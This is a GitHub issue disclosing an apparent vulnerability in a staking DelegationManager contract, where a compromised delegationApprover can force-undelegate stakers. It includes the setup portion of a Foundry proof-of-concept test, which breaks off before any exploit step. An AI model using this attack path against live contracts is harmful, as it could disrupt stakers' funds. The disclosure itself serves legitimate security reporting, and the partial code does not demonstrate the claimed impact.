-
Notifications
You must be signed in to change notification settings - Fork 439
Open
Description
This vulnerability allows a compromised delegationApprover to force-undelegate any staker from an operator, potentially causing mass undelegations and economic disruption.
`// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "../../src/contracts/core/DelegationManager.sol";
import "../../src/contracts/permissions/PauserRegistry.sol";
import "../../src/contracts/permissions/PermissionController.sol";
import "../../src/contracts/interfaces/ISignatureUtilsMixinTypes.sol";
contract ForceUndelegationExploitTest is Test {
DelegationManager public delegationManager;
PauserRegistry public pauserRegistry;
PermissionController public permissionController;
address public owner = address(0x1);
address public operator = address(0x2);
address public delegationApprover = address(0x3);
address public staker1 = address(0x4);
address public staker2 = address(0x5);
address public staker3 = address(0x6);
uint256 private delegationApproverPrivateKey = 0xA11CE;
function setUp() public {
// Set delegationApprover address to match the private key
delegationApprover = vm.addr(delegationApproverPrivateKey);
// Deploy contracts
pauserRegistry = new PauserRegistry(owner);
permissionController = new PermissionController(owner);
// Deploy DelegationManager
delegationManager = new DelegationManager(
IStrategyManager(address(0)), // Mock addresses
IEigenPodManager(address(0)),
IAllocationManager(address(0)),
pauserRegistry,
permissionController,
1 days,
"v1.0.0"
);
// Initialize DelegationManager
vm.prank(owner);
delegationManager.initialize(owner, 0);
// Register operator with delegationApprover
vm.startPrank(operator);
delegationManager.registerAsOperator(delegationApprover, 1 days, "metadata");
vm.stopPrank();
// Setup stakers to delegate to the operator
for (uint i = 0; i < 3; i++) {
address staker = address(uint160(0x4) + i);
vm.deal(staker, 1 ether);
// Create signature for delegation
bytes32 salt = bytes32(uint256(i + 1));
bytes32 digestHash = delegationManager.calculateDelegationApprovalDigestHash(staker, operator, salt);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(delegationApproverPrivateKey, digestHash);
bytes memory signature = abi.encodePacked(r, s, v);
ISignatureUtilsMixinTypes.SignatureWithExpiry memory signatureWithExpiry =
ISignatureUtilsMixinTypes.SignatureWithExpiry({
signature: signature,
expiry: uint256(block.timestamp + 1 days)
});
}`
Metadata
Metadata
Assignees
Labels
No labels